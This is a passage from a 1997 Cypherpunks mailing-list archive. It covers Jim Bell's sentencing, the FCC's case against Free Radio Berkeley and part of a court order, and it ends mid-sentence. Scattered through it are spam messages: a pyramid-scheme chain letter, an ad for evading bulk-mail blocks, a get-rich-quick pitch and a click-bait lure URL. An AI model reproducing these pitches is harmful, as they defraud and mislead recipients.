t1L/9h+LkvW4ym8pqgUht9gE3T6HQ44ZM7vtRV+yfcMBirqVlz2sGe8PARx3Crup ASoHJVl4gNRWv1IZAnubYYA8GK50jTagcZYhcWzbQiD5ddkZjsellLlf9GyRSYsy rm77dndu6Npc6QCEpxhuvmQoQzh8BbtmklBkSeKLI+4oHePe4b9u9xEyGk3toh4C vVHsn/hXVtyknBGkDAkir44xNUM6Cdmig9y6lPl/DtYv0fEpECCuxzZZTPUqEi9K SxMWF5i19luqkc3kzds5QElMQnR65eyJCejm6IDXeB4MSEta04dbSzu+XIB0CBh5 xxNVOUA0lp2LoNYGa7HMA6JHBshwNbYHNRAGWvg7jKp1nrhPn1vZHLqSzwBqski3 ADIEgnTv5cbOqndhgCwPs6UQFutWYKU/+Y712LyfMcBVhZC/mJnTvPRKvuuBVCqb gieibug07Z5Lh/2TAMWafvagyIMIl3qT6FvJkQhWG0If/arpYb5XA3doX2K8/nAV iCdNorBdlxHUCpv9PLgfrlrcGqBD6FOfOrxXXHU6FIHV+jVhWT2SwwBPwmEokOI+ e93ahIDWpom85Kq67eYr3wDfbiVLyYeR05PB8ib/pBJZX0uPGlzQb+o8/J2NSBnF JpyNJpXeDyuF2NtjFFwHnd3VkKzMsHZCp8u03Q+H/l+QdIYT9WMJB4XDANQWcepP uAi2gbA2vwolce8yWrUZOiZ8z3DzB4TjdrOlArsOBQ5dn2uaJmfWudPFunXPRB83 YVU1AseemHAs4cty3yKAZfOZcvuBZdawYOSzRPcAtkkntHPtFTjuwq50y+m36zFb AIizLoeeqQS8fitsgNIH4AzC9k/riQXlKtYFIwrnW8kznwJEcockjcyrzCYbnloo vwSrh3w3L0tSCs1YZPpzOjE2K/zR90MzKSRbWJigqSR4aJ8TRuOz0uxxKs5Pk6Ua NGT8c5+Qwd6y3fDKMEfwRiFVT6mAe2qF2XKvMrFVNxh8MjpKoiMQR6nSnYHHzrHm LR7yu64JfBpTdZrQuI2t/wm6GOD95JNnN5+zo6KW6McyYcQbi+cc9k6zqZq5rHLF hNPm1r+AF4FmH0vcSQ== =x/r+ -----END PGP MESSAGE, PART 02/02----- From gbroiles at netbox.com Sun Dec 14 02:44:35 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Sun, 14 Dec 1997 18:44:35 +0800 Subject: Fw: Jim Bell Sentenced (fwd) In-Reply-To: Message-ID: <3.0.2.32.19971214022601.037fc8dc@pop.sirius.com> Phillip M. Hallam-Baker wrote: >FC folk may find this interesting. What Jim Bell was charged >with and admitted was planning and executing attacks on the >IRS. No, that's not correct. He was charged with (and plead guilty to) obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security number (42 USC 408). The "attack" he admitted to executing consisted of applying a stinky chemical to the doormat of an IRS office. (see for more.) >His 'Assasination Politics' essay was used to demonstrate >motive (amongst other things). That doesn't make any sense - it could conceivably have been introduced to demonstrate intent, or state of mind .. but not motive, at least in the absence of evidence that an active assassination market existed, and the prosecution apparently didn't see fit to mention such evidence to the press, nor to the judge at sentencing. But it's misleading to say that the essay was used to "demonstrate" anything, as it was never introduced into evidence - there was no trial. Jim plead guilty and was sentenced based upon the arguments of his counsel, the prosecutor, and the probation department's presentence report. It's interesting to note that the prosecutor and the defense concurred in recommending to the judge that Jim receive a sentence at the low end of the permissible range, while the probation department (which acts as an "attitude police") urged a sentence of 27 months, at or near the upper end of the applicable guidelines. Jim's analysis of AP and its relationship to our legal/political/social structure was poor, and his behavior juvenile and indefensible. He did not, however, present a credible threat to the IRS, nor should he be punished more harshly because of his political views/ideas. We should not let distaste/disgust for Jim's ideas and tactics blind us to the important legal and constitutional questions lurking beneath the surface of this investigation and prosecution - there's some possibility that the IRS used its investigation of Jim as a threat to other prolific authors on the Internet. For example, copies of the press release announcing the raid on Jim's home were mailed, apparently from computer systems inside the IRS, to individuals active on the Cypherpunks list. The IRS has never before (or since) bothered to notify those individuals about criminal investigations which might otherwise be of interest. One easy conclusion to reach is that the raid was intended to chill those individuals' expressive activity on the Net with respect to Jim and his ideas and the interplay between taxation and anonymity and cryptography. Further, it's worth considering carefully the relationship between Jim's legitimate and constitutionally protected political speech and the criminal trial process. To what extent did Jim's outspokenness about the IRS influence its interest in investigating and prosecuting him? To what extent was his protected speech used to argue that he was ineligible for release on bail pretrial? To what extent did his extended pretrial incarceration pressure him to plead guilty? (Note that as of his sentencing on 12/12, he's already served almost 80% of his term of incarceration.) To what extent did his protected speech influence the probation department to recommend a sentence two and half times as long as that proposed in the plea agreement negotiated by the prosecution and defense? To what extent will his protected speech be used to measure his compliance with the terms of his supervised release? Assuming that one considers a stinkbomb "force", it seems beyond dispute that Jim is in fact guilty of the charges against him - so it's difficult to argue that he was, in fact, wrongfully convicted. But it's also difficult to argue that, but for his AP essay(s), he'd never have attracted the attention nor scrutiny of the IRS, and hence never have been prosecuted. In effect, he's guilty of violating common sense - he shouldn't have drawn attention to himself if he wasn't prepared for a certain amount of scrutiny. But cases like Jim's demonstrate that there's a considerable gulf between the high-school-civics-class idea that we are all equal before the law and the practical world of the criminal trial system. Jim was treated specially at every stage of this process because of what he's written, and that should make every person who values free political expression uncomfortable. Jim's case demonstrates that we're moving closer to a country where one can be prosecuted for thoughtcrime. And that, indeed, should be of interest to FC list members. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | Export jobs, not crypto. http://www.io.com/~gbroiles | http://www.parrhesia.com From anonymous at replay.com Sun Dec 14 05:11:45 1997 From: anonymous at replay.com (anonymous at replay.com) Date: Sun, 14 Dec 1997 21:11:45 +0800 Subject: I can't believe this! Message-ID: Anonymous, I can't believe this I came across this on the Web. Is this really you? Check out this URL! http://206.129.140.93/iic.htm?BS=BS971214_17953.88894262 That's pretty incredible. Way to go! From webmstr at goplay.com Sun Dec 14 21:12:32 1997 From: webmstr at goplay.com (webmstr at goplay.com) Date: Sun, 14 Dec 1997 21:12:32 -0800 (PST) Subject: We Do All The Work And You Collect All The Money Message-ID: <7916D8510V@mail.san.rr.com> If you're NOT currently looking for an income opportunity, then just delete this message. If you ARE looking for an income opportunity, then... WELCOME TO THE HOTTEST CASH GENERATING PROGRAM ON THE INTERNET! I'm sure that this is not the first opportunity that you have ever run across that claims that you can make a lot of cash, very quickly. But, this just might be the only program you'll ever run across, that can actually make that happen. Every other cash generating program that you've ever run across was probably doomed from the start, for 3 simple reasons. 1) You needed to dedicate a lot more time and effort into the marketing of your program, than you originally planned. 2) You needed to invest a lot more money into the marketing of your program, than you originally expected. 3) Your success depended solely on you. And, unless you're a marketing expert, your expected level of success just wasn't going to be achieved. Well, that's where our expertise comes in. We here at Internet Marketing Services, have been asked to develop an effective marketing system that would require virtually no effort and very little capital. We are proud to tell you, that our experience in this industry has enabled us to create a very low cost, high response, marketing program, that blows away traditional methods of network marketing and advertising. The secret to becoming successful in any business is to get your message to as many people as possible, in a cost effective manner. Through our creative advertising program were able to greatly reduce our costs and we are simply passing the savings on to you. IT'S REALLY AMAZING HOW EASY THIS IS AND HOW BEAUTIFULLY IT WORKS! By compounding our efforts and combining your advertising along with other income opportunity seekers wanting to participate in this highly profitable program, Internet Marketing Services is now able to offer you the best Internet marketing rates available anywhere. HERE'S HOW IT WORKS. Multi-level marketing is still used by some of the largest companies in the world today; Amway, Excel and Avon, just to name a few. This highly effective, multi-level business provides you the same type of opportunity. A business that offers a proven cash generating program, complete with a low cost internet marketing service. THIS IS THE SECRET TO YOUR SUCCESS! If a new customer decides to participate in your program, they simply send you a $5.00 commission. And the best part is, we do all the hard work for you, you just collect your cash. As with all multi-level businesses, your income is generated by recruiting new customers that have the same interest as you. The desire to create a large cash income. And, every state in the USA allows us to legally recruit for you, via the Internet. For an extremely low fee of only $35.00, we will market this highly profitable opportunity to 750,000 people with your name and address inserted into the mailing. Then you just go to your mailbox and collect your cash. That's all there is to it. HERE'S HOW YOUR ADVERTISING DOLLARS COMPOUND. In each mailing your name will be included with 2 other distributors. We will then advertise your opportunity to 250,000 people, in 3 seperate mailings. So your opportunity will be offered to 750,000 different people. EXAMPLE: Mailing #1: 250,000 People Mailing #2: 250,000 People Mailing #3: 250,000 People FOR A TOTAL OF: 750,000 People NOW, LET'S COMPARE COSTS. If you were to send your offer through the postal service, it would cost you $240,000.00, in postage alone. The typical e-mail company charges 1-2 dollars per 1000 addresses mailed to. That would be a minimum of $750.00. Other methods could be even more expensive than using the postal service. As you now can see, by compounding your advertising dollars with other income opportunity seekers, it allows us to offer you a cost effective way to cash in on a proven income generating program. And remember, we do all the work for you. You just go to the mailbox and collect your cash. THIS IS A LEGITIMATE MONEY MAKING OPPORTUNITY. It does not require you to come into contact with people, do any hard work, and best of all you never have to leave the house except to get the mail. This multi-level, e-mail order, marketing program works perfectly, every time. E-mail is the ultimate sales tool of the future, and the future is now! If you ever wanted "THE EASY WAY" to make a lot of money... just follow these 3 easy steps using this sure fire system! STEP 1: Send $5.00 in "CASH", NO CHECKS PLEASE, to each of the 3 distributors below. Just like new customers will be sending to you, once your name has been placed onto the mailing. Also, include a seperate sheet of paper with your name as it is to appear on this mailing, along with the words, " I WOULD LIKE TO SUBSCRIBE TO YOUR INCOME OPPORTUNITY NETWORKING SERVICE." Once the 3 distributors receive your $5.00 payment, they will each e-mail us your name, verifying that you have paid them their commission. This service also eliminates the possibility of anyone replacing any existing names on the mailing. #1: S. Stucki Box 242 Delta, UT 84624 #2: QBS, Inc 1425 Main St. #140 Ramona, CA 92065 #3: Richard Norman 8 Nantucket Court Windsor, CO 80550 STEP 2: Send $35.00, along with your name and address as you want it to appear on this mailing. (You can use your full name, your initials, a business name or what ever you prefer) Once we receive your payment and verification via e-mail that you paid each distributor their commission; we will automatically position your name and address through all 3 mailings until this offer has been e-mailed to 750,000 people. Be sure to include your e-mail address. Once we receive your payment, we will e-mail you our priority e-mail address. This is how you will notify us that you received your payment from customers that want to paticipate in your program. This is a fool-proof system that eliminates anyone from using your service without paying you your $5.00 commission. You can use this program as many times, and as often as you like. By doing this, it is possilbe to create a perpetual cash income. And yes, we accept personal checks. Make check payable to and send to: Internet Marketing Services 2375 E.Tropicana #135 Las Vegas, NV 89119 Please note, Internet Marketing Services does not participate in your offer, nor do we share in your income in any way. Internet Marketing Services is a low cost, internet marketing provider only. STEP 3: Go to your mailbox daily and collect your cash. MAKING MONEY JUST DOESN'T GET ANY EASIER THAN THIS! By now your probably asking yourself, "how much money can I really make?" Below are the results of an Internet survey conducted by www.survey.net: 50% of the people on the Internet have made purchases, 40% have made several purchases, 80% like the idea of shopping on the Internet, 50% of those purchases are computer information related, 50% think of e-mail as their second most important application, 20% have made purchases because "I came across it and I liked it, so i bought it." POSSIBLE EARNINGS PER 750,000 E-MAILS 1% Response @ 7,500 X $5.00 = $37,500 1/2% Response @ 3,750 X $5.00 = $18,750 1/4% Response @ 1,875 X $5.00 = $ 9,375 1/8% Response @ 938 X $5.00 = $ 4,690 HOW MANY RESPONSES DO YOU THINK YOU WILL RECEIVE? As more and more people look for ways to create wealth and financial security, the need for a successful income opportunity is constantly in demand. If you're fed up with the high cost of marketing and advertising then why not take advantage of this powerful opportunity and start creating wealth for you and your family. We hope that you are one of those unique individuals that does more than just dream about creating wealth and has the foresight to see what an incredible money making opportunity that this really is, requiring no effort and a very small investment. JUST IMAGINE WHAT YOU AND YOUR FAMILY CAN DO WITH ALL THAT CASH! FREE WEBSITE: Would you like to create your own website for business or personal use? Just go to www.freeyellow.com and follow the prompts. From secrets999 at nowhere.com Sun Dec 14 21:39:10 1997 From: secrets999 at nowhere.com (Insider Marketing) Date: Sun, 14 Dec 1997 21:39:10 -0800 (PST) Subject: Bulk Mail Guru Spills Beans! Message-ID: <199712150528.FAA23823@mwr.mwr.is> New report reveals how to use email to create insane profits. I've learned the secrets that let me send out bulk email while the others have been out of business for almost two months. Discover my insider methods that teach you . . . How to bulk mail, and keep mailing without a BULK ISP! How to get through to AOL Where to get a bullet proof AUTORESPONDER for $5/month. Where to find the best sources of bulk email info on the net! I am currently using all these techniques, and you can too. For more details, send mailto:mailguru at goplay.com From ravage at ssz.com Sun Dec 14 05:58:58 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 14 Dec 1997 21:58:58 +0800 Subject: Radio Free Cypherpunks... (fwd) Message-ID: <199712141414.IAA01470@einstein.ssz.com> Forwarded message: > Date: Sun, 14 Dec 1997 01:28:43 -0500 > From: Declan McCullagh > Subject: Re: Radio Free Cypherpunks... > > At 08:13 -0600 12/13/97, Jim Choate wrote: > >With the recent changes in the law regarding Pirate Radio is anyone looking > > What changes? At the Cato Institute holiday party last night, I was > speaking to a lawyer from the Institute for Justice about pirate radio > lawsuits. The changes you mention didn't come up. What are they? Recently a pirate radio was charged by the FCC for operating without a license. The judge in the case heard the arguments and said their was merit in the question of constitutionality of the FCC regulations. The radio was allowed to stay on the air while both sides prepared their cases. Apparently the judge said something about this being the first time such constitutional questions had been raised. There is also at least one piece of cpunks traffic in this about 2 weeks old when the judge made the ruling. I believe there might be something at one of the ARRL sites. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From ravage at ssz.com Sun Dec 14 06:12:47 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 14 Dec 1997 22:12:47 +0800 Subject: news:349242B3.E81DDFC4@cowcentric.net Message-ID: <199712141428.IAA01553@einstein.ssz.com> RE: FRB/FCC: 2 WEEKS ARE UP From: Buster Reply to: BBusterB at cowcentric.net Date: Sat, 13 Dec 1997 00:09:23 -0800 Organization: =-= Newsgroups: alt.radio.pirate Reply to: newsgroup(s) References: <66ijq2$jj9$1 at usenet89.supernews.com> <348D1FB2.8F257E91 at concentric.net> <66t5t6$4ir$1 at usenet48.supernews.com> ***** wrote: - - Buster wrote: - - >***** wrote: - >> - >> Any news about the FRB case? Seems the FCC goons had to weeks to - >> reply. - - > They don't understand "to weeks". Yes two weeks, then - >FRB et al have two weeks to rebut. Which are the "goons"? - - > DAMMIT! Get your facts straight, _ASTERISKS_. - - > Next: the Court never said it would respond immediately. - >Witness the last procrastination of many months. You must know, - >if you are worth your meager salt, that the Court has no obligation - >to report-out prelimary inputs! - - > It's nice to get your ignorance calibrated, "asterisks". - >So it goes, shit-heads happen! - - >BB - - >-- - - > Laisser les bon rouller! - -------------------------------------------------- - So! Butt-Buddy Ball-Buster rides some ass again! YUP ...especially for ignoramousus! - Look, "Buddy," so I didn't proofread the post before it went up, OK? NO? ...why not? Just a spew? - So what? I think most folks here knew what the question was. - As for getting YOUR facts straight, here's the quote from the Court's - decision: Sure glad you learned _something_! Like to be truthful! -> "The FCC shall file with the Court and serve on Mr. Dunifer its brief - on this issue 14 days from the date of this order. Mr. Dunifer's - opposition is due 7 days thereafter. If the FCC wishes to file a - reply, it may due so 7 days after the opposition is served." - The FCC (the goons) had 2 weeks, and Dunnifer had 1 to rebut. And I - never said anything about the Court responding "immediately." SO? BFD if you don't understand what is entailed, creep! - So go back to spewing in your toilet, cuz it's just stinkin' up the - place around here. NO, you are spewing with your misinformation "wishes". - Did I say goons? Yeah, FCC GOONS, of which you either ARE one, or you - surely are a wannabe. Phone home, spook. Not all Creep! You are so enamoured with your own egocentric specious thoughts that you fail to recognize realities. Anyone who wants can find the latest (hopefully) at: http://www.freeradio.org/ (Dunnifer's pages) and/or http:www.surf.com/~goham/nlg.html (his lawyer's pages) Good surfing. BB -- Laisser les bon rouller! From lnda at aaaa.net Sun Dec 14 22:17:29 1997 From: lnda at aaaa.net (lnda at aaaa.net) Date: Sun, 14 Dec 1997 22:17:29 -0800 (PST) Subject: Your information Message-ID: <199712150619.BAA11309@athena.aaaa.net> LEARN THE SECRET TO MAKING $1285.00 A WEEK SITTING AT YOUR HOME COMPUTER FOR JUST A COUPLE HOURS A DAY! PART-TIME! IN JUST 10 MINUTES WE'LL SHOW YOU AN EASY WAY TO MAKE MONEY WITH YOUR COMPUTER. YOU'LL HAVE PAYCHECKS ARRIVING IN YOUR MAIL BOX SIX DAYS A WEEK. It's fun, it's rewarding, and it's easy. This is so simple most children could do it! All you need is a computer and E-Mail address to begin making excellent money while relaxing in the comfort of your own home. Any week that you have a few hours of spare time, you can make $1285.00, (ONE THOUSAND TWO HUNDRED AND EIGHTY-FIVE DOLLARS) There are people doing this every week. Right now there are only a few people around the country who know how to do this. And these few people are having the best time of their lives while their computers make them a high level of income. Even if you are happy with your current job, you can use this easy system in your spare time to create a nice extra income. And let us assure you this system is completely legal. We are so sure anyone can make a great extra income with this unique system, we will even let you try it out for 30 days! And if you're not 100% satisfied, just send it back within 30 days and we will be more than happy to give you a full refund. Once you begin to see how easy it is to make money with your computer, you will wish you had received this letter a long time ago. Anyone can do this, and since very little of your time is required, you will have more free time to spend doing the things you have always wanted to do. So take the first step toward financial freedom and order this powerful money making system today! You'll be glad you did! This system has sold nationwide for as much as $29.95 And in 2 weeks we may be raising the price of our money making system. Send in your order before then to be sure you receive it for only $15.95 To receive your copy of our SIMPLE COMPUTER MONEY MAKING SYSTEM, along with a full 30 day money back guarantee, send a check or money order for $15.95 payable to: Crown Industries 1630 North Main St. Suite# 310 Walnut Creek, CA 94596 Allow 4-6 days for delivery (We do not accept orders from the state of Florida) P.S. We challenge you to find a legitimately faster, more lucrative, simple or fail-proof opportunity anyware. There is no need to wonder if this system will work for you. This system works 100% and can begin to immediately pay you cash up-front week after week for a lifetime of wealth. We guarantee you will make money or we'll send your $14.95 back to you. From ravage at ssz.com Sun Dec 14 06:53:38 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 14 Dec 1997 22:53:38 +0800 Subject: victory.txt Message-ID: <199712141508.JAA01719@einstein.ssz.com> >From frbspd at crl.com Thu Nov 13 11:41:55 1997 Date: Thu, 13 Nov 1997 01:48:43 -0800 (PST) From: Stephen Dunifer To: Barry Alexander Subject: FRB legal victory ANOTHER VICTORY FOR FREE RADIO BERKELEY & MICROPOWER BROADCASTING At 7 PM on Wednesday, November 12 attorneys for Stephen Dunifer & Free Radio Berkeley received a 14 page decision via fax from Federal District Court Judge Claudia Wilken announcing her ruling in favor of Stephen Dunifer and Free Radio Berkeley. Her ruling denies the FCC's motion for summary judgement for a permanent injunction, states that she has jurisdiction in this case and that the FCC's regulatory structure is unconstitutional. Further, she orders the FCC to submit within 14 days a brief on the constitutional issues raised. Essentially Judge Claudia Wilken affirms all the merits and arguments raised by the defense attorneys for Stephen Dunifer and Free Radio Berkeley. Stay tuned for further details. The full text of the decision will be posted ASAP. A victory party will take place on Saturday evening, November 15 in Berkeley. Place to be announced as soon as one is secured. Everyone is invited. Stephen Dunifer Free Radio Berkeley From ravage at ssz.com Sun Dec 14 06:53:40 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 14 Dec 1997 22:53:40 +0800 Subject: wilkenrules.html Message-ID: <199712141508.JAA01756@einstein.ssz.com> JUDGE WILKEN DENIES FCC MOTION FOR SUMMARY JUDGEMENT!!! Press Release Follows. To Go Directly To The Full Text Of Judge Wilken's Decision, Click Here National Lawyers Guild Committee on Democratic Communications 558 Capp Street, San Francisco 94110 FOR IMMEDIATE RELEASE COURT REJECTS FCC'S CONSTITUTIONAL CATCH 22 United States District Court Judge Claudia Wilken has rejected another attempt by the Federal Communications Commission to silence Berkeley Micro Radio Broadcaster Stephen Dunifer, founder of Free Radio Berkeley. In a 13 page opinion released on November 12, 1997, Judge Wilken once again rejected the government's motion for an injunction to silence micro radio broadcasts by local radio pioneer Stephen Dunifer. In 1995, Judge Wilken rejected the government's first motion for a preliminary injunction against Dunifer's broadcasts. At that time the Court found merit in Dunifer's argument that the FCC's ban on low power, affordable FM broadcasting was a violation of the First Amendment's guarantee of free speech to all in the United States. In a blatant attempt to avoid facing its First Amendment obligations the FCC then urged Wilken to permanently enjoin Dunifer from Broadcasting and at the same time argued that she could not even consider the issue of whether its rules, which prevent him from getting a license, are unconstitutional. In a Kafkaesqe argument, the Commission argued that Wilken had jurisdiction to issue an injunction, but no jurisdiction to hear Dunifer's constitutional arguments. The government claimed that only the higher federal courts could consider the constitutional question. In her November 12 decision rejecting the Government's position, Judge Wilken pointed to the fact that the FCC had taken exactly the opposite position in the 1994 case of Dougan vs FCC. In that case, an Arizona micro radio broadcaster had appealed an FCC fine (for broadcasting without a license) to the 9th Circuit Federal Court of Appeal, and the FCC had argued that the Court of Appeal had no jurisdiction over the case, and that it had to be heard by the District Court. The Court of Appeals agreed with the FCC and sent the case back to the District Court. Judge Wilken noted that the Arizona broadcaster had raised the same constitutional arguments in the Court of Appeals that Dunifer is raising. The Court ruled that in sending all of the issues in the Arizona case to the District Court, the Appeals Court recognized that the District Court had jurisdiction over all aspects of the case. In denying the Government's motion for an injunction "without prejudice," Judge Wilken ordered the Government to file a further brief on the question of whether the unconstitutionality of the FCC's ban on micro radio is a valid legal defense to an injunction against broadcasting at low power without a license. Dunifer's attorneys, Louis Hiken and Allen Hopper of San Francisco, will have an opportunity to rebut the government's arguments on this point. In response to pressure from the commercial broadcaster's lobby, the National Association of Broadcasters (N.A.B.), the FCC has in recent months been stepping up its campaign of harassment against the thousands of micro radio stations now on the air in this country. Hiken commented "The broadcast industry is clearly afraid of these little community stations which are speaking truth to its power. In trying to do the N.A.B.'s bidding, the FCC demonstrates that it is nothing but an enforcement arm of the commercial broadcast industry and the multi-national corporations which own it." The National Lawyers Guild's Committee on Democratic Communications has represented the Lawyers Guild, San Francisco's Media Alliance, and the Women's International News Gathering Services as a "Friend of the Court" (Amicus) in this case. In its Friend of the Court brief the Lawyers Guild pointed out that FCC regulations make it impossible for all but the very wealthy to even apply for a broadcast license. This, they told the Court, is the equivalent of saying anyone could speak from a soap box in the park, but the box had to be made of gold. Guild attorney Peter Franck commented "In an era when Disney owns ABC, the world's largest defense contractor owns NBC and CNN merges with Time which merges with Warner, and when 'public' broadcasting is told to get its money from corporations, micro radio may be our last best hope for democracy on the air ways." He continued "Judge Wilken's decision is a courageous rejection of the Government's attempt to use a legal Catch-22 to avoid facing the fact that its ban on micro radio flies in the face of the Constitution." The legal team representing Dunifer and the Amicae are very pleased with Judge Wilken's reasoned and thorough decision denying the FCC's motion to have the case resolved without a trial on the merits. For almost 70 years, the FCC has catered solely to the interests of commercial corporate giants, through their mouthpiece, the National Association of Broadcasters. These are the pirates, who have stolen the airwaves from the American people, and who represent corporate interests valued at more than 60 billion dollars. Only the Pentagon, the Silicon Valley and the transportation industries possess the financial wallop represented by the NAB and its constituents. Judge Wilken's decision represents a vision of what it would be like for the American people to be given back their own voice. The decision suggests the likely unconstitutionality of the entire regulatory structure underlying the FCC's ban on low power radio. It forewarns of the total failure of that agency to carry out its statutory obligation to regulate the airwaves in the public interest -- that is, in the interest of the American people, rather than the media monopolies that control our airwaves. The legal team welcomes the opportunity to have a court identify the real pirates of the airwaves -- not the thousands of microradio broadcasters who seek to communicate with the people of their communities, but rather the billionaire commercial interests that control the airwaves as if they own them. Is it General Electric, Westinghouse and the Disney Corporation that have the right to control local community radio, or is that a right that belongs to all of the American people, regardless of economic status? FOR MORE INFORMATION, CONTACT: Peter Franck, Counsel for Amicus 415-415-995-5055 pfranck at hbmvr.com (days) pfranck at a.crl.com(evs, wknds) http://www.368Hayes.com/nlg.cdc.html Alan Korn, Counsel for Amicus 415-362-5700 aakorn at igc.org Stephen Dunifer, Free Radio Berkeley 415-644-3779 frbspd at crl.com http://www.freeradio.org Louis Hiken Counsel for Stephen Dunifer 415-575-3220 hiken at igc.org http://www.368Hayes.com Allen Hopper Counsel for Stephen Dunifer 415-575-3222 lazlo at igc.org http://www.368Hayes.com SEE THE FULL TEXT OF JUDGE WILKEN'S DECISION TO STEPHEN DUNIFER/FREE RADIO BERKELEY INFORMATION PAGE TO FREE RADIO BERKELEY LEGAL BATTLE PAGE TO NATIONAL LAWYERS GUILD INFORMATION PAGE TO THE OFFICIAL NATIONAL LAWYERS GUILD WEB SITE TO NLG COMMITTEE ON DEMOCRATIC COMMUNICATIONS PAGE TO FREE RADIO BERKELEY WEB SITE BACK TO LAW OFFICES AT 368 HAYES STREET From ravage at ssz.com Sun Dec 14 06:53:44 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 14 Dec 1997 22:53:44 +0800 Subject: court2.txt Message-ID: <199712141507.JAA01689@einstein.ssz.com> IN THE UNITED STATES DISTRICT COURT FOR THE NORTHERN DISTRICT OF CALIFORNIA UNITED STATES OF AMERICA, No. C 94-03542 CW Plaintiff, ORDER DENYING PLAINTIFF'S MOTION FOR SUMMARY v. JUDGMENT WITHOUT PREJUDICE AND REQUESTING STEPHEN P. DUNIFER, FURTHER BRIEFING Defendant. By this action, the United States, on behalf of its agency, the Federal Communications Commission ("FCC"), seeks declaratory and injunctive relief against Defendant Stephen P. Dunifer for operating a radio station, "Free Radio Berkeley," without a license in violation of 47 U.S.C.S 301 of the Communications Act of 1934, as amended, 47 U.S.C. S 151 et seq. Several amici curiae have filed a brief supporting the FCC. Mr. Dunifer does not dispute that he is broadcasting without a license and that he has never applied for a license. Mr. Dunifer does not question the constitutionality ot the statute that requires broadcasters to obtain a license. Mr. Dunifer asserts, however, that relief should not be granted to the FCC because he cannot obtain a license to broadcast under the FCC'S regulations, which he claims are unconstitutional. The FCC regulations do not allow for the licensing of micro radio broadcasters, that is, radio broadcasters who, like Mr. Dunifer, use ten watts or less to power their signals.(1) Presently before the Court is the FCC'S motion for summary judgement which Mr. Dunifer and several amici curiae oppose. The matter was heard on April 12, 1996.Having considered all of the papers filed by the parties and oral argument on the motion, the Court DENIES the FCC's motion without prejudice and requests further briefing. LEGAL STANDARD Summary judgment is properly granted when no genuine and disputed issues of material fact remain, and when, viewing the evidence most favorably to the non-moving party, the movant is clearly entitled to prevail as a matter of law. Fed. R. Civ. P. 56; CelotexCorp. v. Catrett, 477 U.S. 317, 322-23 (1986); Eisenberg v. Insurance Co. of North America, 815 F.2d 1285, 1288- 89(9th Cir. 1987). The moving party bears the burden of showing that there is no material factual dispute. Therefore, the Court must regard as true the opposing party's evidence, if supported by atfidavits or other evidentiary material.Celotex, 477 U.S. at 324; Eisenberg, --------------------------------------------------------------- Footnote (1) 47 C.F.R.S 73.512(c) states, in relevant part: Except in Alaska, no new Class D [micro radio station] applications nor major change applications by existing Class D stations are acceptable for filing except by existing class D stations seeking to change frequencies. ----------------------------------------------------------------- 47 C.F.R.S 73.506(b) provides, in relevant part: Any noncommercial educational station except Class D may be assigned to any of the channels listed in S 73.501. Section 73.501 lists channels available for assignment. 813 F.2d at 1289. The Court must draw all reasonable inferences in favor of the party against whom summary judgment is sought. Matsushita Elec. Indus. Co. v Zenith Radio Corp., 475 U.S. 574, 587 (1986); Intel Corp. v. Hartford Accident and Indem. Co., 952 F.2d 1551, 1558 (9th Cir. 1991). DISCUSSION JURISDICTION The FCC challenges this court'sjurisdiction to entertain Mr. Dunifer's constitutional defenses to this action. The FCC invoked the jurisdictional grant of 47 U.S.C. S 401 (a) in filing the instant action. Section 401(a) provides that: The district courts of the United states shall have jurisdiction, upon application of the Attorney General at the request of the [Federal Communications] Commission, alleginq a failure to comply with or a violation of any of the provisions of this chapter by any person, to issue a writ or writs of mandamus commanding such person to comply with the provisions of this chapter. The court thus has jurisdiction to enjoin any violation by Mr. Dunifer of 47 U.S.C.S 3Ol, which, simply put, prohibits operating a radio station without a license. The FCC argues, however, that the jurisdictional grant of 47 U.S.C.S 401(a) is not broad enough to encompass Mr. Dunifer's constitutional defenses which challenge the regulations that make it impossible for a micro radio broadcaster to obtain a license. The FCC argues that any court challenge to the FCC's regulations regarding licensing must be brought either: (1) as an appeal to the United States Court of Appeals for the District of Columbia under 47 U.S.C.� 402(b) (1) [2] of the FCC's denial of a request for a waiver of the regulation prohibiting low power stations to apply for a license; or (2) as an appeal to the court of appeals for any circuit of the FCC's denial of a petition for rule-making under 47 U.S.C. � 402(a) [3] and 28 U.S.C. � 2342[4]. In support or its position, the FCC principally relies on Sable Communications of Californiav. FCC, 827 F.2d 640 (9th Cir. 1987). In Sable Communications, the plaintiff provider of sexually suggestive telephone services sought declaratory and injunctive relief against the FCC claiming that a statute and the FCC regulation implementing that statute violated its First Amendment rights.Id. at 641. Relying on 28 U.S.C. � 2342, the Ninth circuit affirmed the district court's dismissal of the plaintiff's challenge to the regulation, finding that the court or appeals had exclusive jurisdiction over claims regarding the -------------------------------------------------------------------- Footnotes [2] section 402(b) (1) provides: Appeals may be taken from decisions and orders of the Commission to the United States Court of Appeals for the District of Columbia in any of the following cases: (1)By any applicant for a construction permit or station license, whose application is denied by the Commission. [3]Section 402 (a) provides: Any proceeding to enjoin, set aside. annul, or suspend any order of the commission under this chapter (except those appealable under subsection (b) of this section) shall be brought as providea by and in the manner prescribed in chapter l58 cf Title 28 [28 U.S.C. � 2342J] [4] section 2342(1) provides: The court of appeals (other than the United States Court of Appeals for the Federal Circuit) has exclusive jurisdiction to enjoin, set aside, suspend (in whole or in part), or to determine the validity of-- (1) all final orders of the Federal Communications Commission made reviewable by section 402 (a) of title 47. ------------------------------------------------------------------ constitutionality of regulations made reviewable by 47 U.S.C. S 402 (a). Id. at 642-43. The FCC also relies on Moser v. FCC, 46 F.3d 970, 973 (9th Cir.), cert. denied, 515 U.S. 1161 (1995). In Moser, the FCC questioned the district court's jurisdiction to hear the plaintiff's challenge to a statute on the ground that the plaintiff was actually challenging FCC regulations. Id. at 973. The Ninth Circuit determined that the district court had jurisdiction over the case because the plaintiff's challenge did not reach the regulations. Id. The Ninth circuit noted in dicta that a challenge to the regulations would have been outside the jurisdiction of the district court. Id. Both of these cases 